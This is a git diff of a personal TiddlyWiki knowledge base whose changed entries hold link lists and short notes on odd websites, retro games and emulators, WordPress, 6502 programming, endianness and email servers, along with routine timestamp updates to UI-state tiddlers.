+{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240119165356761","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ โ uiโโณโฒ โบ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - ็ ้งๅๅ.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Questions LLC|https://questions.llc/]] --- //Use AI to answer\nyour questions. Our AI bots will answer your questions in seconds.// --- it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:\n** [[allowfullscreen|https://www.allowfullscreen.com/]] --- //an HTML attribute for the iframe tag// --- a website with some basic information about the attribute, but with some strange details, and some actually decent examples\n** [[querySelectorAll()|https://www.queryselectorall.com/]] --- //a website dedicated to the best JavaScript function in the world!// --- some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"},
{"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240118233234375","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n* \u003C\u003CYoutubeL _5IDmXNS14I \"UNDETECTABLE Cheats Jeopardize Super Mario 64 Speedrunning!?\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"},
{"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20240119011227992","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[SMBDIS.ASM - A Comprehensive Super Mario Bros. Disassembly|https://gist.github.com/1wErt3r/4048722]]\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"},
-{"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20231212223439290","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"},
+{"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20240119124309074","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n* [[DiztinGUIsh (\"Diz\")|https://github.com/IsoFrieze/DiztinGUIsh]] --- //A Super NES ROM Disassembler and tracelog capture/analysis tool with a focus on collaborative workflow UX. Exports .asm files ready to be compiled back into the original binary. Written in Winforms/C#.//\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"},
{"title":"Super Tux:en","created":"20230130161956837","creator":"Octt","modified":"20230206203924228","modifier":"Octt","tags":"$:/i18n:en Game","text":"\u003C\u003CMediaWiki SuperTux en 2>>"},
{"title":"SuperTuxKart","created":"20230130074458840","creator":"Octt","modified":"20230219142818385","modifier":"Octt","tags":"$:/i18n:en Racing 3D Libre Game","text":"\u003C\u003C^wikipediaframe SuperTuxKart en>>"},
{"title":"SVG","created":"20230823095111097","creator":"Octt","modified":"20230823095151062","modifier":"Octt","tags":"XML","text":"\u003C\u003C^wikipediaframe SVG>>\n\n* [[Web SVG Security|https://www.w3.org/wiki/SVG_Security]]\n"},
@@ -1512,7 +1513,7 @@
{"title":"WinWorld","created":"20230209101937765","creator":"Octt","modified":"20230209102412747","modifier":"Octt","tags":"TODO Abandonware","text":"* https://winworldpc.com/home"},
{"title":"WireGuard","created":"20230213171505875","creator":"Octt","modified":"20230213172848043","modifier":"Octt","tags":"VPN Libre Protocol","text":"\u003C\u003CMediaWiki WireGuard en 2>>\n\n* https://www.wireguard.com/\n* https://github.com/WireGuard\n"},
{"title":"Word","created":"20230216193546517","creator":"Octt","modified":"20231220235833698","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Word en>>\n\n!!! Useful, to be remembered\n\n* [[What do you call a member of a federation?|https://english.stackexchange.com/questions/253334/what-do-you-call-a-member-of-a-federation]] (\"federate\")\n\n!!! ''//Interesting// Words/Expressions''\n\nSome words and expressions I discovered and found so interesing I want to save them, ok?\n\n* \u003C\u003CWikipediaL \"Bob's your uncle\">>\n** \"Bob's still your dad's brother\" is an epic way to avoid too many further repetitions.\n* \u003C\u003CWiktionaryL \"ใฏใผใใญ้ฆฌ้นฟ\">> (wฤpurobaka)\n* [[The vodka is good, but the meat is rotten|https://www.everything2.com/title/The+vodka+is+good%252C+but+the+meat+is+rotten]]\n"},
-{"title":"WordPress","created":"20230206192842398","creator":"Octt","modified":"20240107140354621","modifier":"Octt","tags":"Web PHP CMS","text":"\\define lwplug(slug, title) [[$title$|https://wordpress.org/plugins/$slug$]]\n\n* \u003C\u003ChttpsL WordPress.com>> --- Corporate site and home page of the SaaS service\n* \u003C\u003ChttpsL WordPress.org>> --- Home page of the open source project\n** \u003C\u003ChttpsL developer.wordpress.org>> --- Development resources, guides, references\n\n\u003C\u003C^wikipediaframe WordPress en>>\n\n* [[Stupid WordPress Tricks|https://perishablepress.com/stupid-wordpress-tricks]] (with PHP)\n* [[How to Add Code to WordPress Header and Footer|https://kinsta.com/knowledgebase/add-code-wordpress-header-footer/]]\n\n* [[WordPress Plugins SVN Mirror|http://web.archive.org/web/20200805015358/http://www.pluginmirror.com/]] (apparently website is dead?) --- //Say hello to fully automated GitHub mirrors of every plugin in the WordPress.org plugin repository.// --- \u003C\u003C[# Git\"https://github.com/wp-plugins\">>\n\n!!! Plugins\n\n* \u003C\u003Clwplug activitypub ActivityPub>> --- //Enter the fediverse with ActivityPub, broadcasting your blog to a wider audience!// --- \u003C\u003C[# Git\"https://github.com/automattic/wordpress-activitypub\">>\n* \u003C\u003Clwplug press-this \"Press This\">> (once part of WP, now an official plugin) --- //Posting images, links, and cat gifs will never be the same.// --- \u003C\u003C[# Support\"https://wordpress.com/support/press-this/\">> \u003C\u003C[# Codex\"https://codex.wordpress.org/Press_This\">>\n** [[Creating Quick Blog Posts with Press This|https://make.wordpress.org/support/user-manual/posts/creating-quick-blog-posts-with-press-this/]]\n* \u003C\u003Clwplug writing-on-github \"Writing On GitHub\">> --- //A WordPress plugin to allow you writing on GitHub (or Jekyll site)//, and vice-versa --- \u003C\u003C[# Git\"https://github.com/litefeel/writing-on-github\">>\n* \u003C\u003Clwplug url-params \"URL Params\">> --- allows you to access URL parameters in the Query String of the URL via shortcodes\n\n!!! Themes\n\n* [[BSoJ|https://wordpress.org/themes/bsoj/]] //(Blue Screen of Joy) is a blog theme inspired by the infamous Blue Screen of Death//\n* [[Stewart|https://wordpress.org/themes/stewart/]] is a modern blogging theme with a left sidebar. Its default color scheme is a striking combination of orange and light gray, to give your blog a sophisticated appearance from day one.\n* [[Tomoni|https://wordpress.org/themes/tomoni/]] is a //theme that displays a use case of multilingual content with Japanese//, with many color palettes\n"},
+{"title":"WordPress","created":"20230206192842398","creator":"Octt","modified":"20240119172421330","modifier":"Octt","tags":"Web PHP CMS","text":"\\define lwplug(slug, title) [[$title$|https://wordpress.org/plugins/$slug$]]\n\n* \u003C\u003ChttpsL WordPress.com>> --- Corporate site and home page of the SaaS service\n* \u003C\u003ChttpsL WordPress.org>> --- Home page of the open source project\n** [[WordPress Developer Resources|https://developer.wordpress.org]] --- Development resources, guides, references\n** //''[[WordPress Codex|https://codex.wordpress.org/]]'', the online manual for WordPress and a living repository for WordPress information and documentation.//\n\n\u003C\u003C^wikipediaframe WordPress en>>\n\n* [[Stupid WordPress Tricks|https://perishablepress.com/stupid-wordpress-tricks]] (with PHP)\n* [[How to Add Code to WordPress Header and Footer|https://kinsta.com/knowledgebase/add-code-wordpress-header-footer/]]\n\n* [[Wordpress API json, how to get prev and next posts in single post?|https://stackoverflow.com/questions/42546957/wordpress-api-json-how-to-get-prev-and-next-posts-in-single-post/70410781#70410781]] --- not explicitly possible, but achievable for ordering by date, by using exclude of a pivot post id, order asc/desc, and using query after/before a certain date edge\n\n* [[WP Database Description|https://codex.wordpress.org/Database_Description]] --- //outline and description of the database tables created during the standard installation//\n\n* [[WordPress Plugins SVN Mirror|http://web.archive.org/web/20200805015358/http://www.pluginmirror.com/]] (apparently website is dead?) --- //Say hello to fully automated GitHub mirrors of every plugin in the WordPress.org plugin repository.// --- \u003C\u003C[# Git\"https://github.com/wp-plugins\">>\n\n!!! Plugins\n\n* \u003C\u003Clwplug activitypub ActivityPub>> --- //Enter the fediverse with ActivityPub, broadcasting your blog to a wider audience!// --- \u003C\u003C[# Git\"https://github.com/automattic/wordpress-activitypub\">>\n* \u003C\u003Clwplug press-this \"Press This\">> (once part of WP, now an official plugin) --- //Posting images, links, and cat gifs will never be the same.// --- \u003C\u003C[# Support\"https://wordpress.com/support/press-this/\">> \u003C\u003C[# Codex\"https://codex.wordpress.org/Press_This\">>\n** [[Creating Quick Blog Posts with Press This|https://make.wordpress.org/support/user-manual/posts/creating-quick-blog-posts-with-press-this/]]\n* \u003C\u003Clwplug writing-on-github \"Writing On GitHub\">> --- //A WordPress plugin to allow you writing on GitHub (or Jekyll site)//, and vice-versa --- \u003C\u003C[# Git\"https://github.com/litefeel/writing-on-github\">>\n* \u003C\u003Clwplug url-params \"URL Params\">> --- allows you to access URL parameters in the Query String of the URL via shortcodes\n\n!!! Themes\n\n* [[BSoJ|https://wordpress.org/themes/bsoj/]] //(Blue Screen of Joy) is a blog theme inspired by the infamous Blue Screen of Death//\n* [[Stewart|https://wordpress.org/themes/stewart/]] is a modern blogging theme with a left sidebar. Its default color scheme is a striking combination of orange and light gray, to give your blog a sophisticated appearance from day one.\n* [[Tomoni|https://wordpress.org/themes/tomoni/]] is a //theme that displays a use case of multilingual content with Japanese//, with many color palettes\n"},
{"title":"X11/Snippets","created":"20220920144224759","modified":"20230206111552465","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"!! Multi-Screen Fixes\n\n!!! LG Flatron W1943SS (R) + TV Toshiba (L)\n\n```sh\nxrandr --output DVI-D-0 --addmode DVI-D-0 1920x1080\nxrandr --output DVI-D-0 --mode 1920x1080 -r 60.00\nxrandr --output DVI-D-0 --left-of HDMI-A-0\n```"},
{"title":"x86_64","created":"20231027105227448","creator":"Octt","modified":"20231027105633633","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe x86_64>>\n\n* \u003C\u003Clinkdesc \"x86-64 Simplified\"\"https://treeniks.github.io/x86-64-simplified\" \"opinionated alternative Instruction Set Reference for the x86-64 Architecture to prioritize readability and simplicity over accuracy or completeness\">>"},
{"title":"XDA Developers:en","created":"20230202230631376","creator":"Octt","modified":"20230206111552467","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003CMediaWiki XDA_Developers en 3>>"},
diff --git a/-2.html b/-2.html
index 5c2aee2e..4890a41b 100644
--- a/-2.html
+++ b/-2.html
@@ -751,7 +751,7 @@
{"title":"$:/state/plugin-info-1958370054-$:/core--2000059281","created":"20220920140149154","modified":"20220920140149154","text":"contents"},
{"title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","created":"20230108195707554","modified":"20230108195709210","text":"readme"},
{"title":"$:/state/plugin-info-496662381-$:/languages/it-IT","created":"20230218113830823","creator":"Octt","modified":"20230218114059177","modifier":"Octt","text":"no"},
-{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240108100838992","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
+{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
{"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20231227005915618","modifier":"Octt","text":"yes"},
{"title":"$:/state/ShowPaletteEditor","created":"20220920114858684","modified":"20220920114858684","text":"yes"},
{"title":"$:/state/sidebar","created":"20220920174307633","creator":"Octt","modified":"20231221152237213","modifier":"Octt","text":"yes"},
@@ -792,8 +792,8 @@
{"title":"$:/state/tab-914888664","created":"20230110152841020","modified":"20230110152841020","text":"$:/core/ui/TiddlerInfo/References"},
{"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"},
{"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"},
-{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240108100838993","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
-{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240110011701265","modifier":"Octt","text":"OcttKB/Index"},
+{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"},
+{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240110101100366","modifier":"Octt","text":"OcttKB/Index"},
{"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20230128224606306","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/PageControls"},
{"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"},
{"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"},
@@ -1063,7 +1063,7 @@
{"title":"1337x:en","created":"20220923133930693","creator":"Octt","modified":"20230221224113158","modifier":"Octt","tags":"Web BitTorrent Sharing Research $:/i18n:en","text":"''1337x'' is a [[torrent|BitTorrent]] search engine.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/b/bb/1337X_logo.svg]]\n\nIn recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.\n\nThe site features text search, categories, and user profiles."},
{"title":"2048","created":"20230111153852789","creator":"Octt","modified":"20230225112624871","modifier":"Octt","tags":"Puzzle $:/i18n:en Game Generic Libre $:/Games","text":"\u003C\u003C^wikipediaframe \"2048 (video game)\">>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://play2048.co\">>\n\n!! ''Implementations''\n\n* ''Official (Gabriele Cirulli)'': [[Web|https://play2048.co/]] | [[Git|https://github.com/gabrielecirulli/2048/]]\n** Android Repack: [[F-Droid|https://f-droid.org/en/packages/com.uberspot.a2048/]] | [[Git|https://github.com/uberspot/2048-android/]]\n\n* ''Privacy Friendly 2048 (SecUSo)'': [[F-Droid|https://f-droid.org/en/packages/org.secuso.privacyfriendly2048/]] | [[Git|https://github.com/SecUSo/privacy-friendly-2048/]]\n\n!! ''Clones''\n\n* [[2248]]\n* ...\n"},
{"title":"2248","created":"20230205144033227","creator":"Octt","modified":"20230225112438828","modifier":"Octt","tags":"TODO Game $:/Games","text":"A diverse [[2048]] clone, nice fun.\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://2248game.com\">>\n"},
-{"title":"6502","created":"20231029001701704","creator":"Octt","modified":"20231107225433388","modifier":"Octt","tags":"CPU Microprocessor Retro","text":"\u003C\u003C^wikipediaframe 6502>>\n\n* \u003C\u003ChttpL 6502.org>> --- //the 6502 microprocessor resource//\n* [[6502 Disassembly Projects|https://6502disassembly.com/]]\n\n* [[6502 Assembly Crash Course [NesHacker]|https://www.youtube.com/playlist?list=PLgvDB6LWam2WvoFvh8tlUqbqw92qWM0aP]]\n* [[https://100r.co/site/6502_assembly.html]] --- Extremely reduced introduction to 6502 assembly basic concepts\n* [[Programming the NES: The 6502 in detail|https://www.middle-engine.com/blog/posts/2020/06/23/programming-the-nes-the-6502-in-detail]]\n\n* [[Benchmark: C compilers for the 6502 CPU|https://sgadrat.itch.io/super-tilt-bro/devlog/219534/benchmark-c-compilers-for-the-6502-cpu]] --- \u003C\u003C[# \"Code on Git\" \"https://github.com/sgadrat/6502-compilers-bench\">>\n* \u003C\u003Clinkdescgit cc65\"https://cc65.github.io\" \"complete cross development package for 65(C)02 systems\" \"https://github.com/cc65\">>\n** [[cc65 coding hints|https://cc65.github.io/doc/coding.html]] ; [[Advanced optimizations in CC65|https://github.com/ilmenit/CC65-Advanced-Optimizations]] --- //How to generate the most efficient code with cc65//\n"},
+{"title":"6502","created":"20231029001701704","creator":"Octt","modified":"20240119004410569","modifier":"Octt","tags":"CPU Microprocessor Retro","text":"\u003C\u003C^wikipediaframe 6502>>\n\n* \u003C\u003ChttpL 6502.org>> --- //the 6502 microprocessor resource//\n* [[6502 Disassembly Projects|https://6502disassembly.com/]]\n\n* [[6502 Assembly Crash Course [NesHacker]|https://www.youtube.com/playlist?list=PLgvDB6LWam2WvoFvh8tlUqbqw92qWM0aP]]\n* [[https://100r.co/site/6502_assembly.html]] --- Extremely reduced introduction to 6502 assembly basic concepts\n* [[Programming the NES: The 6502 in detail|https://www.middle-engine.com/blog/posts/2020/06/23/programming-the-nes-the-6502-in-detail]]\n\n* [[Benchmark: C compilers for the 6502 CPU|https://sgadrat.itch.io/super-tilt-bro/devlog/219534/benchmark-c-compilers-for-the-6502-cpu]] --- \u003C\u003C[# \"Code on Git\" \"https://github.com/sgadrat/6502-compilers-bench\">>\n* \u003C\u003Clinkdescgit cc65\"https://cc65.github.io\" \"complete cross development package for 65(C)02 systems\" \"https://github.com/cc65\">>\n** [[cc65 coding hints|https://cc65.github.io/doc/coding.html]] ; [[Advanced optimizations in CC65|https://github.com/ilmenit/CC65-Advanced-Optimizations]] --- //How to generate the most efficient code with cc65//\n*** [[CC65, array of structures supposedly bad?|https://forums.nesdev.org/viewtopic.php?t=17465]]\n"},
{"title":"7z","created":"20230215194145232","creator":"Octt","modified":"20230215194358079","modifier":"Octt","tags":"Libre","text":"\u003C\u003CWikipediaFrame 7z en>>\n\n!! ''7-ZIP''\n\n* https://7-zip.org/\n* https://sourceforge.net/projects/sevenzip/\n\n\u003C\u003CWikipediaFrame 7-Zip en>>"},
{"title":"A Hat in Time:en","created":"20230130073837406","creator":"Octt","modified":"20230206111552056","modifier":"Octt","tags":"TODO $:/i18n:en","text":"\u003C\u003CMediaWiki A_Hat_in_Time en 3>>"},
{"title":"Abandonware","created":"20230209102431381","creator":"Octt","modified":"20230209103452569","modifier":"Octt","tags":"Software","text":"\u003C\u003CMediaWiki Abandonware en 3>>\n\nGood places to get abandonware:\n\n* Misc: [[Internet Archive]]\n* OSes and relative resources: [[WinWorld]]\n* MS-DOS Games: [[DOS Zone|https://dos.zone]]"},
@@ -1154,12 +1154,13 @@
{"title":"Email","created":"20231221000014083","creator":"Octt","modified":"20231223223915590","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Email>>\n\n* [[What characters are allowed in an email address?|https://stackoverflow.com/questions/2049502/what-characters-are-allowed-in-an-email-address]] (contains scary examples)\n\n* [[MxToolbox|https://mxtoolbox.com/]] --- misc tools for email server administration and testing\n* [[SPF/DKIM/DMARC/DomainKey/RBL Test Online|https://appmaildev.com/]]\n\n!! ''Hosting and software''\n\n* [[Best Open Source Email Servers|https://itsfoss.com/open-source-email-servers/]]\n\n* [[Documentation for docker-mailserver!|https://docker-mailserver.github.io/docker-mailserver/latest/]] --- \u003C\u003C[# Git\"https://github.com/docker-mailserver\">>\n\n!!! Postfix\n\n\u003C\u003C^wikipediaframe \"Postfix (software)\">>\n\n* [[Adding aliases inboxes using Postfix|https://unix.stackexchange.com/questions/319222/adding-aliases-inboxes-using-postfix]] --- add new lines in /etc/aliases as needed for aliases, with format `desidered_alias: real_username`, then run `newaliases`.\n* [[Quickly test an IMAP server with telnet|https://coderwall.com/p/h-tzia/quickly-test-an-imap-server-with-telnet]]\n* [[Postfix: SASL auth with PAM and passwd file|https://seenthis.net/messages/522996]] || [[Postfix and SASL (Debian)|http://web.archive.org/web/20210211014625/http://www.jimmy.co.at/weblog/2005/12/05/postfix-and-sasl-debian/]]\n"},
{"title":"Email Settings","created":"20221107225602829","modified":"20230206111552101","modifier":"Octt","tags":"$:/i18n:en","text":"!!! ''Outlook''\n* ''Username'': Full Email Address (e.g. `example@outlook.com`)\n* ''Password'': Standard Account Password\n* ''Server'': `smtp-mail.outlook.com`\n* ''Ports'':\n** ''TLS'': `587`\n** ''No Encryption'': `25`\n* ''Daily Limits'': 250 Mails, or [verification needed] 100 different Recipients\n\n!!! ''Yahoo Mail''\n\n* ''Username'': Full Email Address (e.g. `example@yahoo.com`)\n* ''Password'': App Password; Must be set from Yahoo's account security settings\n* ''Server'': `smtp.mail.yahoo.com`\n* Ports: 465 (With SSL)\n** ''SSL'': `465`\n** ''TLS'': `587`\n* ''Daily Limits''\u003Csup>[verification needed]\u003C/sup>: 500 Mails, or 100 Connections"},
{"title":"Emulation","created":"20230116211647194","creator":"Octt","modified":"20231212234134224","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Emulator en >>\n\n!! ''Resources''\n\n* a big list of [[Emulators written in JavaScript|https://github.com/fcambus/jsemu]]\n* a \u003C\u003CRedditL r/iosgaming/comments/tcdpr4/list_of_browser_based_emulators/ \"list of browser based emulators\">>\n* [[EmulatorJS|https://emulatorjs.org/]] --- //tool to embed an emulator into your website// --- \u003C\u003C[# Git\"https://github.com/EmulatorJS/EmulatorJS\">>\n** It was apparently born as a reverse-engineering of \u003C\u003ChttpsL www.emulatorjs.com>>\n\n* [[Is it possible to make a ROM converter?|https://retrocomputing.stackexchange.com/questions/8121/is-it-possible-to-make-a-rom-converter]] --- Spoiler: yes, but not often and not without high costs\n** [[jamulator: Statically Recompiling NES Games into Native Executables with LLVM and Go|https://andrewkelley.me/post/jamulator.html]]\n\n!!! ''Web Sites''\n* [[Emulation General Wiki|https://emulation.gametechwiki.com]]\n* [[Zophar's Domain|https://www.zophar.net/]]\n\n!!! ''Game Console Emulators''\n* https://github.com/js-emulators/desmond\n* https://github.com/44670/44vba\n* https://github.com/skylersaleh/SkyEmu\n\n!!! ''General PC Emulators''\n\n* [[Virtual x86 (v86) by copy|https://copy.sh/v86/]] - //x86 virtualization in your browser, recompiling x86 to wasm on the fly// - \u003C\u003C[ \"[[Git|https://github.com/copy/v86]]\">>\n* [[TinyEMU|https://bellard.org/tinyemu/]] - //system emulator for the RISC-V and x86 architectures//\n** [[JSLinux|https://bellard.org/jslinux/]] - //Run Linux or ''other Operating'' Systems in your browser!//\n* https://dos.zone/mobile/\n* [[Bochs|https://bochs.sourceforge.io/]] - //IA-32 emulator// - \u003C\u003C[ \"[[Git|https://github.com/bochs-emu/]]\">>\n** \u003C\u003CGPlayLink net.sourceforge.bochs \"Android port\">> by lubomyr\u003C\u003Cfnote \"The same developer also has other various emulators\">> - Sources: [[Core|https://github.com/lubomyr/bochs]], [[GUI|https://github.com/lubomyr/BochsLauncher]]\n* [[PCem|https://pcem-emulator.co.uk/]] - IBM PC emulator with focus on emulation of infinite hardware components - \u003C\u003C[ \"[[Git|https://github.com/sarah-walker-pcem/pcem]]\">>\n** [[86Box|https://86box.net/]] --- a sometimes more recommended fork --- \u003C\u003C[# Git \"https://github.com/86Box\">>\n\n!!! ''Linux Emulators''\n* [[WebVM|https://webvm.io]] - //Linux virtualization for the Web, in WebAssembly// - \u003C\u003C[ \"[[Git|https://github.com/leaningtech/webvm]]\">>\n* [[box86\\box64|https://box86.org/]] - //Linux Userspace x86 Emulator for ARM// - \u003C\u003C[ \"[[Git (86)|https://github.com/ptitSeb/box86]]\">> \u003C\u003C[ \"[[Git (64)|https://github.com/ptitSeb/box64]]\">>\n\n!!! ''Other''\n* [[Thumbnails for RetroArch|https://github.com/libretro-thumbnails/libretro-thumbnails]]\n* https://github.com/Abdess/retroarch_system\n* [[Emulator files|https://emulation.gametechwiki.com/index.php/Emulator_files]] (system BIOS and such)\n"},
-{"title":"Endianness","created":"20230404134313374","creator":"Octt","modified":"20230404134900364","modifier":"Octt","tags":"","text":"* [[Was Little Endian made to confuse programmers|https://www.quora.com/Was-Little-Endian-made-to-confuse-programmers]]\n* \u003C\u003CRedditL /r/csELI5/comments/1qkadu/big_and_little_endians/ \"Big and Little Endians - r/csELI5\">>\n* https://www.technicalsourcery.net/posts/on-endianness/ [\u003C\u003CHackernewsL 28207414>>]\n"},
+{"title":"Endianness","created":"20230404134313374","creator":"Octt","modified":"20240119003724455","modifier":"Octt","tags":"Computing","text":"\u003C\u003C^wikipediaframe Endianness>>\n\n* [[Was Little Endian made to confuse programmers|https://www.quora.com/Was-Little-Endian-made-to-confuse-programmers]]\n* \u003C\u003CRedditL /r/csELI5/comments/1qkadu/big_and_little_endians/ \"Big and Little Endians - r/csELI5\">>\n* https://www.technicalsourcery.net/posts/on-endianness/ [\u003C\u003CHackernewsL 28207414>>]\n"},
{"title":"English","created":"20220922204615800","icon":"$:/languages/en-GB/icon","modified":"20220922204615800"},
{"title":"EPSON WF-2510","created":"20230902000456550","creator":"Octt","modified":"20231221002107431","modifier":"Octt","tags":"Printing","text":"Linux driver:\n\n* on [[OpenPrinting|https://openprinting.org/printer/Epson/Epson-WF-2510_Series]]\n** the deb file is apparently outdated and won't work on Debian 12\n* (Debian) apt package: `printer-driver-escpr` (available in stable as of Debian 12)\n"},
{"title":"Eruda","created":"20230113095118172","creator":"Octt","modified":"20230413085714108","modifier":"Octt","tags":"App $:/i18n:en","text":"''[[Eruda|https://eruda.liriliri.io]]'' is an open-source JavaScript applet for Web browsers, created to bring developer tools to those that lack them (like mobile ones). It provides the following features (from the project's README):\n\n* Console: Display JavaScript logs and run commands\n* Elements: Check the DOM's state\n* Network: Show requests status\n* Resources: Show localStorage and cookie information\n* Info: Show URL and user agent info\n* Snippets: Include snippets used most often\n* Sources: HTML/CSS/JS, source code viewer\n\n!!! ''More Resources''\n\n* Source Code and Documentation: [[github.com/liriliri/eruda|https://github.com/liriliri/eruda]]\n* \u003Ch3>โก๏ธ \u003Ca href={{$:/ThirdParty/Eruda-Inject.bkjs}}>Inject Eruda into this page\u003C/a>\u003C/h3>"},
{"title":"ESP8266:en","created":"20230202103531778","creator":"Octt","modified":"20230206111552112","modifier":"Octt","tags":"MCU $:/i18n:en","text":"\u003C\u003CWikipediaFrame ESP8266 en>>"},
{"title":"F-Zero","created":"20230219132559585","creator":"Octt","modified":"20230226222922829","modifier":"Octt","tags":"Racing Retro Modern Nintendo","text":"\u003C\u003C^wikipediaframe F-Zero>>\n\n; What I like\n: The game feels very fast, speedy, like you can't rest for even a second while racing, it's immersive. \u003Cdd>\nVery impressive how the [[SNES]] version runs at a constant 60 FPS.\n\u003C/dd>\n: The [[Mode-7]] games are especially colorful and the controls feel good.\n; What I don't like\n: The 3D games are kind of \"foggy\" and dark, and while the atmosphere may feel more modern, they are mostly unattractive to me.\n"},
